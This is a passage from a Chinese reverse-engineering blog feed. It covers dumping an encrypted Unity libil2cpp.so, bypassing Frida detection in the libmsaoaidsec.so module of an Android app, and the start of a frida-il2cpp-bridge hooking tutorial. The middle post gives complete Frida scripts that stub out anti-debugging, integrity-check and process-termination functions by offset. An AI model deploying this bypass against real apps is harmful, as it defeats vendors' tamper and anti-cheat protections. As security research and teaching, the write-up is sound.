CodeRegistrationWriter.CodeRegistrationWriterMode.PerAssemblyGlobal){foreach (string codeGenModule in codeGenModules){writer.WriteLine("IL2CPP_EXTERN_C_CONST Il2CppCodeGenModule " + codeGenModule + ";");}writer.WriteArrayInitializer("const Il2CppCodeGenModule*", "g_CodeGenModules", codeGenModules.Select(new Func<string, string>(Emit.AddressOf)), true, false);}writer.WriteStructInitializer("const Il2CppCodeRegistration", CodeRegistrationWriter.CodeRegistrationTableName(context), new string[]{reversePInvokeWrappersTable.Count.ToString(CultureInfo.InvariantCulture),(reversePInvokeWrappersTable.Count > 0) ? reversePInvokeWrappersTable.Name : "NULL",genericMethodPointerTable.Count.ToString(CultureInfo.InvariantCulture),(genericMethodPointerTable.Count > 0) ? genericMethodPointerTable.Name : "NULL",(genericAdjustorThunkTable.Count > 0) ? genericAdjustorThunkTable.Name : "NULL",......// Unity.IL2CPP.CodeRegistrationWriter// Token: 0x0600001E RID: 30 RVA: 0x000028BC File Offset: 0x00000ABCprivate static void WriteGlobalCodeRegistrationCalls(SourceWritingContext context, CodeRegistrationWriter.CodeRegistrationWriterMode mode, ICppCodeWriter writer){string metadataRegistrationVarPtr = "NULL";if (mode == CodeRegistrationWriter.CodeRegistrationWriterMode.AllAssemblies){writer.WriteLine("IL2CPP_EXTERN_C_CONST Il2CppMetadataRegistration g_MetadataRegistration;");metadataRegistrationVarPtr = "&g_MetadataRegistration";}if (context.Global.Parameters.EnableReload){writer.WriteLine("#if IL2CPP_ENABLE_RELOAD");writer.WriteLine("extern \"C\" void ClearMethodMetadataInitializedFlags();");writer.WriteLine("#endif");}string codeGenOptionsVariableStorageClass = "static";writer.WriteStructInitializer(codeGenOptionsVariableStorageClass + " const Il2CppCodeGenOptions", "s_Il2CppCodeGenOptions", new string[]{context.Global.Parameters.CanShareEnumTypes ? "true" : "false",context.Global.InputData.MaximumRecursiveGenericDepth.ToString(CultureInfo.InvariantCulture),context.Global.InputData.GenericVirtualMethodIterations.ToString(CultureInfo.InvariantCulture)}, false);writer.WriteLine("void s_Il2CppCodegenRegistration()");writer.BeginBlock();writer.WriteLine("il2cpp_codegen_register (&g_CodeRegistration, " + metadataRegistrationVarPtr + ", &s_Il2CppCodeGenOptions);");if (context.Global.Parameters.EnableDebugger){writer.WriteLine("#if IL2CPP_MONO_DEBUGGER");writer.WriteLine("il2cpp_codegen_register_debugger_data(NULL);");writer.WriteLine("#endif");}if (context.Global.Parameters.EnableReload){writer.WriteLine("#if IL2CPP_ENABLE_RELOAD");writer.WriteLine("il2cpp_codegen_register_metadata_initialized_cleanup(ClearMethodMetadataInitializedFlags);");writer.WriteLine("#endif");}writer.EndBlock(false);writer.WriteLine("#if RUNTIME_IL2CPP");writer.WriteLine("typedef void (*CodegenRegistrationFunction)();");writer.WriteLine("CodegenRegistrationFunction g_CodegenRegistration = s_Il2CppCodegenRegistration;"); // 这里给 Runtime::Init 里需要的那个 g_CodegenRegistration 指针赋值writer.WriteLine("#endif");}</code></pre><p>调用回来的那个函数则在 <code>codegen/il2cpp-codegen-il2cpp.cpp</code> 中,长这样:</p><pre><code class="language-cpp">void il2cpp_codegen_register(const Il2CppCodeRegistration* const codeRegistration, const Il2CppMetadataRegistration* const metadataRegistration, const Il2CppCodeGenOptions* const codeGenOptions){ il2cpp::vm::MetadataCache::Register(codeRegistration, metadataRegistration, codeGenOptions);}</code></pre><p>这是又调用回 vm 命名空间下的方法了,不过我们追踪到这里就可以看到我们需要的两个指针了</p><p>我们需要的调用链大概长这样:</p><pre><code>il2cpp_init->Runtime::Init->s_Il2CppCodegenRegistration(在Il2CppCodeRegistration.cpp中,AI好像说错了)->il2cpp_codegen_register</code></pre><p>最后讲一下 il2Cpp 29 和 31 版本的差异,il2cppdumper 是采用 metadata 中的版本信息来解析 <a href="http://libil2cpp.so">libil2cpp.so</a> 的,不过本文的样本结构并不能用 metadata 中的版本信息,以至于作者卡在这半个月(我当初也是没注意到报错信息不一样)</p><p>报错主要是超出了 C# 的数组大小上限,如下图:</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=U3VpTXJMeGFwbEJVejRUN0UrMFZzemZWVWtyV2dNd0RYaXIx" alt="" data-caption="" loading="lazy"></p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=RDJFZWxlYmZGeSszZzlaakRZK09XamZWVWtyV2dNd0RYaXIx" alt="" data-caption="" loading="lazy"></p><p>这个 count 过大,主要原因是偏移不对,29.1版本之后多了两个部分,如图</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=bzJjaW1QaDgvUkQ5c1BjSWdudkY3amZWVWtyV2dNd0RYaXIx" alt="" data-caption="" loading="lazy"></p><p>这导致 il2cppdumper 在解析时 codeGenModulesCount 和 codeGenModules 的位置不对,数据自然也不对了,在 Il2Cpp.cs 132 行中调用 MapVATR 又将错误的过大数据传入进去了,自然就报错了</p><h2 id="尾声">尾声</h2><p>这前前后后搞了接近一个月左右,终于完工了,学到了很多东西,虽然中间卡着很难受,而且文章还难产了几天,主要是这段时间太忙了,时间都拿去干其他事了</p><p>除了本文的 dump libil2cpp 以外,这样本还有 frida 检测,我后面还会写一篇文章来讲讲我是怎么绕过这个样本的检测的</p><p>最后还是得感慨 AI 还是太厉害了,讲这个 il2cpp 结构的文章不是特别多,这里基本上都是靠 AI 一点一点摸的的</p><p>我还打算写一个工具,看看能能恢复一下这个 dump 下来的这个文件的导入表,还有通过调用链来找到那两个关键指针,不过这都得等我写完下一个文章再说了</p><h2 id="参考文章">参考文章</h2><ol><li><p><a href="https://www.52pojie.cn/thread-2084995-1-1.html">[Android 脱壳] 最新版某气骑士分析记录-绕过某讯的防御dump内存并解密存档</a></p></li><li><p><a href="https://juejin.cn/post/7402372208053829642">什么?IL2CPP APP分析这一篇就够啦!</a></p></li></ol>]]></content>
<summary type="html">本文详细介绍了如何通过动态内存Dump技术处理被加密的libil2cpp.so文件,以便使用il2cppdumper恢复符号。针对Unity游戏逆向中遇到的加密样本,文章提供了使用PADumper工具从内存中提取解密后的文件,并修复SO文件以进行IDA分析的实用方法。适合游戏安全研究人员和逆向工程爱好者参考学习。</summary>
</entry>
<entry>
<title>绕过某游戏社区/商店中 libmsaoaidsec.so 的 Frida 检测</title>
<link href="https://24kblog.top/posts/2329580928/"/>
<id>https://24kblog.top/posts/2329580928/</id>
<published>2026-02-23T11:56:07.000Z</published>
<updated>2026-04-04T13:37:13.537Z</updated>
<content type="html"><![CDATA[<h2 id="前言">前言</h2><p>逆向完某游戏后感觉还不过瘾,看了吾爱破解上有一些绕过 Frida 检测的教程,就随便找了个软件试试</p><p><strong>本项目的初衷是研究Hook技术与Frida检测技术,请勿将其用于非法盈利等任何商业用途,所有获取的附件请在的24小时内自行删除。</strong></p><h2 id="准备">准备</h2><ul><li>IDA Pro</li><li>hrtng(IDA 插件,用于反编译平坦化的代码)</li><li>Frida(本文版本 17.1.3)</li><li>脑子</li></ul><h2 id="寻找目标模块">寻找目标模块</h2><p>直接尝试用 Frida 附加会发现 Frida 被终止运行</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=OEludGF5WUN0ek1nNERVeWlMUHhOT0VJTnJ1UFUwenVVR2M9" alt="" data-caption="" loading="lazy"></p><p>这里猜测检测 Frida 的部分在某个SO中,参考 SO 加载流程:</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=OXFtaGY2OGhRUjNzc3RKaWxxaTFSM2NlUE5wT1d2QytNenM9" alt="" data-caption="" loading="lazy"></p><p>我们可以尝试 Hook dlopen 函数来看看加载到哪个 SO 文件就终止了</p><pre><code class="language-javascript">function hook_dlopen() { Interceptor.attach(Module.findGlobalExportByName("android_dlopen_ext"), { onEnter: function(args) { var pathptr = args[0]; if (pathptr) { var path = ptr(pathptr).readCString(); console.log("Loading: " + path); } } });}setImmediate(hook_dlopen);</code></pre><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=R0lEelpkUklqbXhiZ0N0eTc3ZU8rUTY2SDZ2OFRTejBrcjA9" alt="" data-caption="" loading="lazy"></p><p>可以发现加载到 <code>libmsaoaidsec.so</code> 进程就被终止了,所以 Frida 的检测大概率就在这个 SO 里</p><h2 id="确定检测-Frida-的位置">确定检测 Frida 的位置</h2><p>参考 SO 加载流程,我们可以 Hook JNI_OnLoad 来看看检测是在这个函数执行之前还是之后</p><p>先用 IDA Pro 逆向看函数的地址</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=MlhmcjJUcjN2UW1KUXROVEUrVmozYnlmU3MwKzBUV1lZb0E9" alt="" data-caption="" loading="lazy"></p><pre><code class="language-javascript">function hook_dlopen(soName = '') { Interceptor.attach(Module.findGlobalExportByName("android_dlopen_ext"), { onEnter: function(args) { var pathptr = args[0]; if (pathptr) { var path = ptr(pathptr).readCString(); console.log("Loading: " + path); if (path.indexOf(soName) >= 0) { console.log("Already loading: " + soName); hook_JNI_OnLoad() } } } });}setImmediate(hook_dlopen, "libmsaoaidsec.so");function hook_JNI_OnLoad(){ let module = Process.getModuleByName("libmsaoaidsec.so") Interceptor.attach(module.base.add(0x13328 + 1), { onEnter(args){ console.log("JNI_OnLoad") } })}</code></pre><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=Q3AwSDI2T1hBeExFQTdBWUJMNGY3RkN6WkxVaTUrTW5Ka3M9" alt="" data-caption="" loading="lazy"></p><p>可以发现程序找不到对应的模块,说明在 Hook 到 JNI_OnLoad 函数之前程序就被终止了,检测 Frida 的步骤在 JNI_OnLoad 之前</p><p>推测大概就在 .init_proc 中,我们需要在尽量早的地方中去 Hook</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=ZEw3eXd1dGdVVEl2djROMnpUaWlEMUtFOFpySXVmQkhUME09" alt="" data-caption="" loading="lazy"></p><p>这里参照<a href="https://www.52pojie.cn/forum.php?mod=viewthread&tid=2012106">此文</a> Hook 在 sub_113F4 中的 _system_property_get 函数</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=YlkxZ0JZaHY4bTJLQ01tVjg3Zmx5eVdwVWNYMHVuYnhNdmc9" alt="" data-caption="" loading="lazy"></p><pre><code class="language-javascript">function hook_system_property_get() { var system_property_get_addr = Module.findGlobalExportByName("__system_property_get"); if (!system_property_get_addr) { console.log("__system_property_get not found"); return; } Interceptor.attach(system_property_get_addr, { onEnter: function(args) { var nameptr = args[0]; if (nameptr) { var name = ptr(nameptr).readCString(); if (name.indexOf("ro.build.version.sdk") >= 0) { console.log("Found ro.build.version.sdk, need to patch"); } } } });}</code></pre><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=U1c0bGR0Tlo4ako5UXNsdFFhR3ExTHZraUtRNXlLMmZUYzA9" alt="" data-caption="" loading="lazy"></p><p>同样是通过上面提到的文章,猜测此 SO 通过创建线程来运行检测逻辑,所以验证完上面可 Hook 后就通过 Hook pthread_create 来看线程的位置和相对于 <code>libmsaoaidsec.so</code> 的位置偏移</p><pre><code class="language-javascript">function hook_pthread_create() { var pthread_create = Module.findGlobalExportByName("pthread_create"); var libmsaoaidsec = Process.getModuleByName("libmsaoaidsec.so"); if (!libmsaoaidsec) { console.log("libmsaoaidsec.so not found"); return; } console.log("libmsaoaidsec.so base: " + libmsaoaidsec.base); if (!pthread_create) { console.log("pthread_create not found"); return; } Interceptor.attach(pthread_create, { onEnter: function(args) { var thread_ptr = args[2]; if (thread_ptr.compare(libmsaoaidsec.base) < 0 || thread_ptr.compare(libmsaoaidsec.base.add(libmsaoaidsec.size)) >= 0) { console.log("pthread_create other thread: " + thread_ptr); } else { console.log("pthread_create libmsaoaidsec.so thread: " + thread_ptr + " offset: " + thread_ptr.sub(libmsaoaidsec.base)); } }, onLeave: function(retval) {} });}</code></pre><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=QUxDZDhkMUlpOWo2SnpNOVNEUWpEZnJZcnFRbzZxc1BTZkU9" alt="" data-caption="" loading="lazy"></p><p>这样就找到检测的位置了</p><blockquote><p>其实静态分析也可以找到创建线程的位置,不过可能需要翻很多函数,如果不去 Hook 的话可能会有点难找。如果不参考别人的文章的话我可能还得找一阵子才知道是子线程中检测的(<br /><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=TzBEZS96bSs4ZUhsWE9sVERBTVRsUWNBMEdIZjUxd3RXN009" alt="" data-caption="" loading="lazy"></p></blockquote><h2 id="分析检测首发以及通过-Frida-patch-掉检测部分">分析检测首发以及通过 Frida patch 掉检测部分</h2><p>在 IDA Pro 中按 <code>G</code> 来跳转到上面提到的两个地址:<code>0x175f8</code> 和 <code>0x16d30</code></p><h3 id="0x16d30">0x16d30</h3><p><code>0x16d30</code> 有几个函数,分别是 <code>sub_166F8</code>、<code>sub_16404</code>、<code>sub_16B8C</code>、<code>sub_112A0</code></p><p>这几个函数分别有不同的功能:</p><ul><li><p><code>sub_166F8</code>:通过检测 <code>/proc/[pid]/status</code> 中的 <code>TracerPid:</code>是否为0,返回0或者 <code>TracerPid</code>,若 <code>/proc/[pid]/status</code> 无法打开则返回 -1,有字符串混淆以及编译优化</p></li><li><p><code>sub_16404</code>:传入了 <code>sub_166F8</code> 的返回值,检查 <code>TracerPid</code> 的父进程是不是自身,与前者混淆相同</p></li><li><p><code>sub_16B8C</code>:遍历目录 <code>/proc/%d/task</code> 来获取当前进程所有线程,然后通过查看 <code>/proc/%d/task/%s/stat</code> 中线程是否属于追踪或暂停状态(检查状态码是否为 <code>T/t</code>),是返回777,否则返回0</p></li></ul><p>在查看 <code>sub_112A0</code> 的逻辑之前可以先查看 <code>sub_16D30</code> 的逻辑</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=NWg1NXlCT2dQOWE2Skl5VTZOL2FNQUQxcDZVVVFBa0Y5QT09" alt="" data-caption="" loading="lazy"></p><p>逻辑非常清晰,结合前面的分析,可以判断前面三者检测,若检测到调试则终止程序,终止程序的函数即 <code>sub_112A0</code>,然后是死循环,每隔2秒执行一次这些判断函数</p><p>现在来看这个终止函数:</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=cnZLK25zdm9MR2R1Q3FoRkdrMTJyM0QzNFNwcjRmWnFZdz09" alt="" data-caption="" loading="lazy"></p><p>先解密存在全局变量里的 Arm64 字节码,和前面的逻辑相同,然后动态修改,调用系统的 exit_group 来终止当前进程中的所有子进程/线程</p><h3 id="0x175f8">0x175f8</h3><p>这个地方的函数和前面差不多,大部分的逻辑都是经过编译器优化的字符串解密过程,然后通过几个函数检测,一个函数决定是否终止程序,无限循环每隔4秒执行这些函数</p><p>在 <code>0x17F84</code> 处有几个函数调用,作用分别如下:</p><ul><li><code>sub_17054</code>:通过 <code>/proc/self/task</code> 遍历当前进程下的所有线程,然后再通过 <code>/proc/self/task/%s/status</code> 来查看这些线程的信息是否包含像 <code>gum-js-loop</code>、<code>gmain</code> 或 <code>linjector</code> 这样的特征信息</li></ul><blockquote><p>gmain:Frida 使用 Glib 库,其中的主事件循环被称为 GMainLoop。在 Frida 中gmain 表示 GMainLoop 的线程。</p></blockquote><blockquote><p>gum-js-loop:Gum 是 Frida 的运行时引擎,用于执行注入的 JavaScript 代码gum-js-loop 表示 Gum 引擎执行 JavaScript 代码的线程。</p></blockquote><blockquote><p>linjector 是一种用于 Android 设备的开源工具,它允许用户在运行时向 Android 应用程序注入动态链接库(DLL)文件。通过注入 DLL 文件,用户可以修改应用程序的行为、调试应用程序、监视函数调用等,这在逆向工程、安全研究和动态分析中是非常有用的。</p></blockquote><blockquote><p>以上信息参考自 <a href="https://bbs.kanxue.com/thread-278145-1.htm">https://bbs.kanxue.com/thread-278145-1.htm</a></p></blockquote><ul><li><p><code>sub_17200</code>:遍历 <code>/proc/self/fd</code> 下的所有文件,查看路径中是否含有 <code>linjector</code> 这样的信息</p></li><li><p><code>sub_17314</code>:通过 <code>/proc/self/maps</code> 扫描内存中有没有可读可执行的内存页,然后加入红黑树,后面遍历树,然后通过 <code>sub_14F88</code> 和 <code>sub_14A88</code> 这两个函数解析符号表和字符串表,检查是否包含 <code>_AGENT_1.0</code> 这样的特征</p></li><li><p><code>sub_1B420</code>:终止进程的函数,和前面的 <code>sub_112A0</code> 差不多</p></li></ul><h3 id="绕过检测">绕过检测</h3><p><a href="https://www.52pojie.cn/forum.php?mod=viewthread&tid=2012106">此文</a>的做法是将对应的退出代码 nop 掉,但是在本文的样本中,使用这个方法会卡首屏,进不去 APP,因此这里采用的方法是 Hook 前面的检测函数和终止进程函数,让其执行前直接返回</p><pre><code class="language-javascript">// 全局标志位,确保只执行一次let isMsaBypassed = false;function bypass_msa_full() { if (isMsaBypassed) return; isMsaBypassed = true; let module = Process.getModuleByName("libmsaoaidsec.so"); if (!module) { console.log("[-] libmsaoaidsec.so not found!"); return; } console.log("[*] Starting MSA SDK Bypass..."); function stub_func(offset, funcName, retValue, retType) { let targetAddr = module.base.add(offset); Interceptor.replace(targetAddr, new NativeCallback(function() { return retType === 'pointer' ? ptr(retValue) : retValue; }, retType, [])); } // 反内存插桩 (Frida) 检测 stub_func(0x17054, "Task Scanner", 0, 'pointer'); stub_func(0x17200, "FD Scanner", 0, 'pointer'); stub_func(0x17314, "Maps Scanner", 0, 'int64'); // 反动态调试 (Ptrace) 检测 stub_func(0x166F8, "TracerPid Check", 0, 'int64'); stub_func(0x16404, "Tracer Whitelist Check", 1, 'pointer'); stub_func(0x16B8C, "Thread State 'T' Check", 0, 'int64'); // 终止进程函数 stub_func(0x1B420, "Shellcode Executor 1", 0, 'int64'); stub_func(0x1AECC, "Shellcode Executor 2", 0, 'pointer'); console.log("[+] All native anti-debugging checks neutralized.");}</code></pre><p>可以发现不是加载完那两个线程就退出了,能加载其它线程了</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=RkpTZDdHWC9JcHJKUUhKbGJ5SWVDcExJZFJZVFpRR3BnbUE9" alt="" data-caption="" loading="lazy"></p><p>但是一段线程加载过后程序会直接崩溃,就像下图</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=U2wrenp1TEpVYW9WNjVrb1gwYkp4Z1ZJaGJtS2FGTHIxSUU9" alt="" data-caption="" loading="lazy"></p><h2 id="绕过其它检测">绕过其它检测</h2><p>崩溃信息里面有写是哪个地方让程序崩溃的,所以我们直接 Hook 掉这些函数就行</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=OTN6WHpDWUEvZ0l4MDRNOGpJMTBvb1F3RUVzSURBODJMVGM9" alt="" data-caption="" loading="lazy"></p><pre><code class="language-javascript">stub_func(0x131f8, "Init Array CRC Checker", 0, 'void');stub_func(0x11260, "Integrity Check Node 1", 0, 'void');stub_func(0x91a4, "Integrity Check Node 2", 0, 'void');stub_func(0x18648, "Crash Trigger (SEGV_MAPERR)", 0, 'void');</code></pre><p>绕过成功!</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=alhOREw5c2Y3bUJ5d1RzQkV3NUMvTHJNVlYyS1R0b05mbVU9" alt="" data-caption="" loading="lazy"></p><h2 id="完整代码">完整代码</h2><pre><code class="language-javascript">function hook_dlopen(soName = '') { Interceptor.attach(Module.findGlobalExportByName("android_dlopen_ext"), { onEnter: function(args) { var pathptr = args[0]; if (pathptr) { var path = ptr(pathptr).readCString(); console.log("Loading: " + path); if (path.indexOf(soName) >= 0) { console.log("Already loading: " + soName); // hook_JNI_OnLoad() hook_system_property_get(); } } } });}setImmediate(hook_dlopen, "libmsaoaidsec.so");function hook_JNI_OnLoad(){ let module = Process.getModuleByName("libmsaoaidsec.so") Interceptor.attach(module.base.add(0x13328 + 1), { onEnter(args){ console.log("JNI_OnLoad") } })}function hook_system_property_get() { var system_property_get_addr = Module.findGlobalExportByName("__system_property_get"); if (!system_property_get_addr) { console.log("__system_property_get not found"); return; } Interceptor.attach(system_property_get_addr, { onEnter: function(args) { var nameptr = args[0]; if (nameptr) { var name = ptr(nameptr).readCString(); if (name.indexOf("ro.build.version.sdk") >= 0) { console.log("Found ro.build.version.sdk, need to patch"); // hook_pthread_create(); bypass() //这里可以开始进行HOOK } } } });}function hook_pthread_create() { var pthread_create = Module.findGlobalExportByName("pthread_create"); var libmsaoaidsec = Process.getModuleByName("libmsaoaidsec.so"); if (!libmsaoaidsec) { console.log("libmsaoaidsec.so not found"); return; } console.log("libmsaoaidsec.so base: " + libmsaoaidsec.base); if (!pthread_create) { console.log("pthread_create not found"); return; } Interceptor.attach(pthread_create, { onEnter: function(args) { var thread_ptr = args[2]; if (thread_ptr.compare(libmsaoaidsec.base) < 0 || thread_ptr.compare(libmsaoaidsec.base.add(libmsaoaidsec.size)) >= 0) { console.log("pthread_create other thread: " + thread_ptr); } else { console.log("pthread_create libmsaoaidsec.so thread: " + thread_ptr + " offset: " + thread_ptr.sub(libmsaoaidsec.base)); } }, onLeave: function(retval) {} });}function bypass(){ bypass_msa_full();}// 全局标志位,确保只执行一次let isMsaBypassed = false;function bypass_msa_full() { if (isMsaBypassed) return; isMsaBypassed = true; let module = Process.getModuleByName("libmsaoaidsec.so"); if (!module) { console.log("[-] libmsaoaidsec.so not found!"); return; } console.log("[*] Starting MSA SDK Bypass..."); function stub_func(offset, funcName, retValue, retType) { let targetAddr = module.base.add(offset); Interceptor.replace(targetAddr, new NativeCallback(function() { return retType === 'pointer' ? ptr(retValue) : retValue; }, retType, [])); } stub_func(0x17054, "Task Scanner", 0, 'pointer'); stub_func(0x17200, "FD Scanner", 0, 'pointer'); stub_func(0x17314, "Maps Scanner", 0, 'int64'); stub_func(0x166F8, "TracerPid Check", 0, 'int64'); stub_func(0x16404, "Tracer Whitelist Check", 1, 'pointer'); stub_func(0x16B8C, "Thread State 'T' Check", 0, 'int64'); // AI推测的函数名字,静态分析后发现不是这些作用 stub_func(0x131f8, "Init Array CRC Checker", 0, 'void'); stub_func(0x11260, "Integrity Check Node 1", 0, 'void'); stub_func(0x91a4, "Integrity Check Node 2", 0, 'void'); stub_func(0x18648, "Crash Trigger (SEGV_MAPERR)", 0, 'void'); stub_func(0x1B420, "Shellcode Executor 1", 0, 'int64'); stub_func(0x1AECC, "Shellcode Executor 2", 0, 'pointer'); console.log("[+] All native anti-debugging checks neutralized.");}</code></pre><h2 id="后记-其它">后记/其它</h2><p>在写这篇博客复现的时候,发现直接 Hook <code>sub_16F6C</code> 和 <code>0x131f8</code> 就能绕过,因为这两个地方一个是 <code>init_proc</code> 创建那些检测线程的地方,一个是前面提到的让程序退出的地方(实际上应该 Hook 这个地方调用的函数,不过因为是 <code>init_proc</code> 最后的部分,所以直接返回也能行)</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=RmgvZEtIVHZmSHRXZHlLT1hoMlk1c3pqKzNrbUVaRW5xZ2c9" alt="" data-caption="" loading="lazy"></p><p>其实我写博客的时候还想分析一下 <code>0x131f8</code> 处调用的函数,也就是 <code>sub_8A5C</code>,但是这个函数平坦化得太厉害了,用 hrtng 反编译的伪代码质量有点堪忧,感觉像赤石一样,丢给 AI 也感觉分析的有点问题,只能留给后面的我去看这里的逻辑了</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=bVBzc0NzdnBaRXZ1V0IrREdCZDZIdEpwNXJiSlNSRkJNQlE9" alt="" data-caption="" loading="lazy"></p><p>OLLVM笑传之尝尝便</p><p>还有一点就是按照上面的代码运行一段时间后,有的时候进程会被终止,有的时候不会,不知道什么原因</p><p>最后,AI 真是太好用了你们知道吗</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=MjVOVlVhQ1ZDR213N0Y0S1d2bzdUNkR1VVRNbnRibFFzV2s9" alt="" data-caption="" loading="lazy"></p><h2 id="参考文章">参考文章</h2><ol><li><a href="https://www.52pojie.cn/forum.php?mod=viewthread&tid=2012106">[Android 原创] bilibili XHS frida检测分析绕过</a></li><li><a href="https://mp.weixin.qq.com/s/UnhTv18IWt_EfLLpXTO65A">安卓中 SO 的加载</a></li><li><a href="https://7owe2.cn/archives/%E6%9F%90%E6%AC%BE%E4%B8%89%E5%9B%BD%E7%B1%BB%E9%A2%98%E6%9D%90%E6%B8%B8%E6%88%8F%E7%BB%95%E8%BF%87frida%E6%A3%80%E6%B5%8B%E5%B0%9D%E8%AF%95">某款三国类题材游戏绕过Frida检测尝试</a></li><li><a href="https://bbs.kanxue.com/thread-278145-1.htm">[原创] frida常用检测点及其原理–一把梭方案</a></li><li><a href="https://cyrus-studio.github.io/blog/posts/%E6%90%9E%E6%87%82-android-hook-%E7%9A%84%E4%B8%A4%E5%A4%A7%E6%A0%B8%E5%BF%83plt-hook-%E4%B8%8E-inline-hook-%E5%85%A8%E8%A7%A3%E6%9E%90/">搞懂 Android Hook 的两大核心:PLT Hook 与 Inline Hook 全解析</a>(注:这是前面让 AI 分析强平坦化代码后,我去搜索的一些相关资料,大概就是 <code>sub_8A5C</code> 干了什么)</li></ol>]]></content>
<summary type="html">本文详细介绍了如何通过Hook技术绕过Android应用中的Frida检测机制。从使用IDA Pro和hrtng插件分析平坦化代码,到Hook dlopen函数定位检测模块,再到编写Frida脚本绕过检测,提供了完整的逆向工程实战教程。适合对移动安全、逆向工程和Hook技术感兴趣的开发者学习研究。</summary>
<category term="笔记" scheme="https://24kblog.top/tags/%E7%AC%94%E8%AE%B0/"/>
<category term="信安" scheme="https://24kblog.top/tags/%E4%BF%A1%E5%AE%89/"/>
<category term="逆向" scheme="https://24kblog.top/tags/%E9%80%86%E5%90%91/"/>
<category term="Frida" scheme="https://24kblog.top/tags/Frida/"/>
<category term="Hook" scheme="https://24kblog.top/tags/Hook/"/>
<category term="反调试" scheme="https://24kblog.top/tags/%E5%8F%8D%E8%B0%83%E8%AF%95/"/>
</entry>
<entry>
<title>使用 frida-il2cpp-bridge 对 Unity 游戏进行 hook</title>
<link href="https://24kblog.top/posts/2611483955/"/>
<id>https://24kblog.top/posts/2611483955/</id>
<published>2026-02-23T04:08:01.000Z</published>
<updated>2026-04-15T13:29:36.828Z</updated>
<content type="html"><![CDATA[<h2 id="前言">前言</h2><p>最近想着随便逆点东西,来练练手,刚好最近有个梗曲的游戏,就直接拿来练手了,刚好这个游戏没怎么加壳,对于我这个没怎么逆过 Unity 的人来说是个挺好的样本。</p><p><strong>本项目的初衷是研究Hook技术与游戏引擎的交互逻辑,请勿将其用于非法盈利等任何商业用途,所有获取的附件请在的24小时内自行删除。</strong></p><h2 id="准备">准备</h2><ul><li><a href="https://github.com/Perfare/Il2CppDumper">Il2CppDumper</a></li><li><a href="https://github.com/vfsfitvnm/frida-il2cpp-bridge?tab=readme-ov-file#frida-il2cpp-bridge">frida-il2cpp-bridge</a></li><li>Frida (本文使用版本为17.1.3)</li><li>IDA Pro</li><li>ilspy-vscode(由于作者使用的是 Linux,体验比较好的 C# 反编译器就这个了,Windows可以使用 ilspy 和 dnSpy)</li><li>JADX 或其它 APK 解包程序/解压缩工具</li><li>脑子</li></ul><h2 id="提取关键文件">提取关键文件</h2><p>安卓 Unity 游戏逆向主要需要 <code>global-metadata.dat</code> 和 <code>libil2cpp.so</code>,这两个文件可以使用 Il2CppDumper 以较为轻松地获取类名/方法名等信息,还可以在 IDA 中恢复符号表,便于逆向分析。</p><p>这两个文件的用途分别如下:</p><ul><li><p><code>global-metadata.dat</code>:用于保存 C# 中的元数据,包括但不限于类名、方法名、变量名、字符串内容、特性 Attributes 等,有些游戏可能会加密此内容,可能需要特殊方法来恢复,比如使用 <a href="https://github.com/Perfare/Zygisk-Il2CppDumper/tree/master">Zygisk-Il2CppDumper</a>,可以在游戏运行时 Dump 在内存中已解密的数据。不过本文样本中此文件并未加密,所以此方法本文并未过多描述。</p></li><li><p><code>libil2cpp.so</code>:游戏主要的程序逻辑在此处,是 Unity 将 C# 代码翻译为 IL 后再将 IL 转为 C++,最后编译形成,Dump 相关数据后主要分析的就是此文件。</p></li></ul><h2 id="Dump-并恢复符号表">Dump 并恢复符号表</h2><p>我这里使用了 JADX 来导出两个关键文件,使用其它的 APK 解包工具或直接使用解压缩工具解压都是可以的</p><p>还有一个问题就是样本是从 Google Play 上获得的,而直接提取 base.apk 没有 <code>libil2cpp.so</code>,这里我是从 Apkpure 上获取到对应的 apkx,然后从其中的一个 APK 中获取到了这个文件</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=V3dCTU5iQ0tVOG5vRHhWcVBzenFSY0FobDBpTDBzVHI0WDg9" alt="global-metadata.dat,右键此文件有导出选项" data-caption="global-metadata.dat,右键此文件有导出选项" loading="lazy"></p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=VWZPSSt3RkdRbmZ0SEFqZnUyUFNPU3FKZ2t4R3E1QTgrSXM9" alt="libil2cpp.so,如果右键没有反应,你可能需要升级 JADX 了" data-caption="libil2cpp.so,如果右键没有反应,你可能需要升级 JADX 了" loading="lazy"></p><p>提取后就可以使用 Il2CppDumper 来 Dump 了</p><h3 id="Dump">Dump</h3><p>由于作者使用的是 Linux,所以需要先安装好 .NET 环境才能运行 Il2CppDumper</p><p>而且因为这个项目有些年头了,如果使用 Release 中的预编译程序,需要在运行时加上环境变量 <code>DOTNET_ROLL_FORWARD=Major</code> 来向下兼容(Linux 不好安装 .NET 6/7,但预编译的程序是需要 .NET 6/7 的)</p><pre><code class="language-bash">DOTNET_ROLL_FORWARD=Major dotnet Il2CppDumper.dll global-metadata.dat libil2cpp.so ./output # 请自行根据具体路径修改指令</code></pre><p><img data-fancybox="gallery" 